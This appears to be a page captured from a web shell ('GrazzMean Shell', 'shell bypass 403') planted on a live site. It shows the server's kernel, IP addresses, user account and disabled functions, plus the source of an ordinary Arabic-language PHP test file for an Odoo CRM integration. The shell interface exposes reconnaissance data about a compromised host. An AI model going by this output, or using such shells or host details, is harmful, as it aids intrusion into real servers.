shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/ [ drwxr-x--- ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : test_odoo_connection.php
<?php
// Test file for Odoo CRM integration
// This file should be removed after testing

include 'includes/odoo_api.php';

echo "<h2>اختبار الاتصال مع Odoo CRM</h2>";

try {
    $odoo = new OdooAPI();
    
    echo "<h3>1. اختبار الاتصال:</h3>";
    if ($odoo->testConnection()) {
        echo "<p style='color: green;'>✓ تم الاتصال بنجاح مع Odoo</p>";
        
        echo "<h3>2. اختبار إنشاء Lead:</h3>";
        $testLeadData = [
            'name' => 'اختبار التكامل',
            'contact_name' => 'عميل تجريبي',
            'phone' => '01234567890',
            'email' => 'test@example.com',
            'description' => 'هذا اختبار للتكامل مع الموقع',
            'source' => 'Website Test'
        ];
        
        $leadId = $odoo->createLead($testLeadData);
        
        if ($leadId) {
            echo "<p style='color: green;'>✓ تم إنشاء Lead بنجاح - ID: {$leadId}</p>";
            
            echo "<h3>3. اختبار إنشاء Activity:</h3>";
            $activityId = $odoo->createActivity(
                $leadId,
                1,
                'متابعة اختبار التكامل',
                'هذا نشاط تجريبي للتأكد من عمل التكامل'
            );
            
            if ($activityId) {
                echo "<p style='color: green;'>✓ تم إنشاء Activity بنجاح - ID: {$activityId}</p>";
            } else {
                echo "<p style='color: orange;'>⚠ لم يتم إنشاء Activity (قد يكون بسبب إعدادات Odoo)</p>";
            }
        } else {
            echo "<p style='color: red;'>✗ فشل في إنشاء Lead</p>";
        }
        
    } else {
        echo "<p style='color: red;'>✗ فشل في الاتصال مع Odoo</p>";
        echo "<p>تأكد من:</p>";
        echo "<ul>";
        echo "<li>صحة بيانات الاتصال في ملف odoo_config.php</li>";
        echo "<li>أن خادم Odoo يعمل ويمكن الوصول إليه</li>";
        echo "<li>أن المستخدم لديه صلاحيات الوصول لـ XML-RPC</li>";
        echo "</ul>";
    }
    
} catch (Exception $e) {
    echo "<p style='color: red;'>خطأ: " . $e->getMessage() . "</p>";
}

echo "<hr>";
echo "<h3>تعليمات الإعداد:</h3>";
echo "<ol>";
echo "<li>قم بتحديث ملف <code>includes/odoo_config.php</code> ببيانات خادم Odoo الخاص بك</li>";
echo "<li>تأكد من تفعيل XML-RPC في إعدادات Odoo</li>";
echo "<li>تأكد من أن المستخدم لديه صلاحيات CRM</li>";
echo "<li>قم بحذف هذا الملف بعد انتهاء الاختبار</li>";
echo "</ol>";

echo "<hr>";
echo "<h3>الحقول المخصصة المطلوبة في Odoo:</h3>";
echo "<p>قد تحتاج لإضافة الحقول التالية في نموذج CRM Lead:</p>";
echo "<ul>";
echo "<li><code>x_branch</code> - اسم الفرع (Char)</li>";
echo "<li><code>x_service_type</code> - نوع الخدمة (Char)</li>";
echo "<li><code>x_car_info</code> - معلومات السيارة (Text)</li>";
echo "<li><code>x_visit_date</code> - تاريخ الزيارة (Date)</li>";
echo "<li><code>x_reservation_date</code> - تاريخ الحجز (Date)</li>";
echo "</ul>";
?>
© 2026 GrazzMean